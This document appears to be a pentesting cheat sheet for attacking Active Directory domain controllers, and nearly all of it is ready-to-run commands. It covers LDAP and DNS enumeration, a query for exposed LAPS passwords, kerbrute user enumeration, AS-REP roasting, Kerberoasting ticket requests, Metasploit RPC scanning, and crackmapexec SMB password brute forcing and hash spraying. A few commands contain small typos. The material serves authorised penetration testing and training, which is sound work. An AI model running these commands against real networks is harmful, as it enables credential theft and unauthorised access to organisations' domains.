Pentesting Domain Controllers

 

DNS
dig srv domaim.com @DC_IP

#Query ldap service
dig +short srv _ldap._tcp.dc._msdcs.dc.domain.com @DC_IP

#query Root Domain Controller
dig +short a rootdc.domain.com @DC_IP

LDAP Enum

#Nmap Scan for basic info
nmap -n -sV --script "ldap* and not brute" -p389,636,3268,3269 10.10.10.10

#Get Domain name
ldapsearch -x -h 10.10.10.10 -s base namingcontexts 
ldapsearch -H ldap://10.10.10.10 -x -s base namingcontexts

#Look for misconfigs - Finding ms-MCS-AdmPwd
ldapsearch -x -h forest.htb.local -b 'DC=HTB,DC=LOCAL' "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd

#Dump Everything
ldapsearch -LLL -x -H ldap://10.10.10.10 -b '' -s base '(objectclass=*)'

#Dump Everything using ldeep
ldeep ldap -a -d STEINS.local -s ldap://10.10.10.10 all dump

UserEnum 

git clone https://github.com/Bhanunamikaze/Wordlists.git 
cd Wordlists/Usernames

kerbrute userenum --dc 10.10.10.10 -d test.domain.com Common_names.txt

Find Pre-Auth Disabled Users

GetNPUsers.py domain/ -usersfile user.txt -outputfile hash.txt -dc-ip 10.10.10.10

#AD Module - Finding users with PreauthNotRequired set
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuths

Kerberoasting

#Listing users with ServicePrincialName set using AD module
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

#Get TGS Ticket Using GetUserSPNs.py
sudo GetUserSPNs.py -request -dc-ip 10.10.10.10 Steins.local/mark 

SMB/rpc Access
Use this script for testing SMB & RPC 

rpcdump.py 10.10.10.10 -p 593

#RPC Endpoints enum via metsploit
msfconsole
use auxiliary/scanner/smb/pipe_auditor
use auxiliary/scanner/smb/smb_lookupsid
use auxiliary/scanner/dcerpc/endpoint_mapper
use auxiliary/scanner/dcerpc/hidden
use auxiliary/scanner/dcerpc/management
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
set rhosts 10.10.10.10
run

SMB Bruteforcing

#Basic SMB & OS info
crackmapexec smb 10.10.10.10

#List Shares 
crackmapexec smb 10.10.10.10 --shares

#passing blank creds via smb
crackmapexec smb 10.10.10.10 --shares -u '' -p ''

#If the password needs to be changed
smbpasswd -U username -r 10.10.10.10

#Brute forcing SMB Creds
crackmapexec smb 10.10.10.10 -u users.txt -p passwords.txt

#Bruteforcing SMB using hashes
proxychains crackmapexec -t 15  smb 10.10.10.10 -u users -H hashes --no-bruteforce --continue-on-success